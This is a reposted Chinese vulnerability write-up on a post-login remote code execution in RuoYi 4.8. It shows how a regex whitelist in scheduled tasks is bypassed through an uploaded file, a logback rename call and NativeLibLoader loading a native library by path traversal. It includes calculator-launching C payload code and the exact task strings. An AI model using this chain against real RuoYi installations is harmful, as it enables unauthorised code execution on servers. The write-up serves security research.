ruoyi系统 4.8 后台RCE漏洞分析

admin 2025年5月18日23:43:48评论2 views字数 1640阅读5分28秒阅读模式

扫码加圈子

获内部资料

ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。

原文链接:https://xz.aliyun.com/news/17890
作者:1506847328721267
ruoyi系统 4.8 后台RCE漏洞分析
0x1 环境搭建

利用需要知道profile目录

环境搭建如下

https://github.com/yangzongzhuan/RuoYi/releases

导入数据库,修改application-druid中的数据库账号密码

修改application中的文件路径及log存放路径

ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析

启动成功

ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析
0x2 漏洞分析

计划任务

ruoyi系统 4.8 后台RCE漏洞分析

根据提交数据包锁定后端路由

ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析

调试看一下具体做了什么

前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用

ruoyi系统 4.8 后台RCE漏洞分析

还判断了是否有一些黑名单中的类

ruoyi系统 4.8 后台RCE漏洞分析

进入白名单的判断

ruoyi系统 4.8 后台RCE漏洞分析

提取出调用的类名,判断其中是否包含白名单字符串

ruoyi系统 4.8 后台RCE漏洞分析

白名单字符串为com.ruoyi.quartz.task

ruoyi系统 4.8 后台RCE漏洞分析

注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能

ruoyi系统 4.8 后台RCE漏洞分析

后续就会进入正常的保存计划任务流程

ruoyi系统 4.8 后台RCE漏洞分析

当启动任务时,会调用方法

ruoyi系统 4.8 后台RCE漏洞分析

获取需要调用的类名方法名参数值

ruoyi系统 4.8 后台RCE漏洞分析

在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象

ruoyi系统 4.8 后台RCE漏洞分析

接着会实例化该类,反射调用其方法

ruoyi系统 4.8 后台RCE漏洞分析

该方法为public修饰

ruoyi系统 4.8 后台RCE漏洞分析

我们想要利用需要达成的是

  • 使用的类不在黑名单中
  • 要存在com.ruoyi.quartz.task字符串
  • 不可以使用rmi ldap http协议
    ruoyi系统 4.8 后台RCE漏洞分析
    0x3 文件上传

而在ruoyi中存在一个文件上传点

ruoyi系统 4.8 后台RCE漏洞分析

我们可以随便上传一个文件看看

ruoyi系统 4.8 后台RCE漏洞分析ruoyi系统 4.8 后台RCE漏洞分析

那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件

ruoyi系统 4.8 后台RCE漏洞分析

ruoyi系统 4.8 后台RCE漏洞分析
0x4 RCE

结合导致RCE

在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的构造函数

而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰

ruoyi系统 4.8 后台RCE漏洞分析

ruoyi系统 4.8 后台RCE漏洞分析

ruoyi系统 4.8 后台RCE漏洞分析

注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题

构造并上传链接库

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__ ((__constructor__)) void angel (void) {
    // 调用 system 函数打开计算器应用程序
    system("open -a calculator");
}


//gcc -arch x86_64 -shared -o 1.dylib calc.c
//根据不同架构修改

编译后上传该文件

ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析

我们还需要修改文件名,可以使用RenameUtil类方法去对文件名进行修改

ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.txt","/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.dylib");

可以修改指定文件名

ruoyi系统 4.8 后台RCE漏洞分析

启动任务

ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析

文件名修改成功

尝试rce

com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001');
ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析
ruoyi系统 4.8 后台RCE漏洞分析
0x5

原文始发于微信公众号(神农Sec):ruoyi系统 4.8 后台RCE漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日23:43:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ruoyi系统 4.8 后台RCE漏洞分析http://cn-sec.com/archives/4078110.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息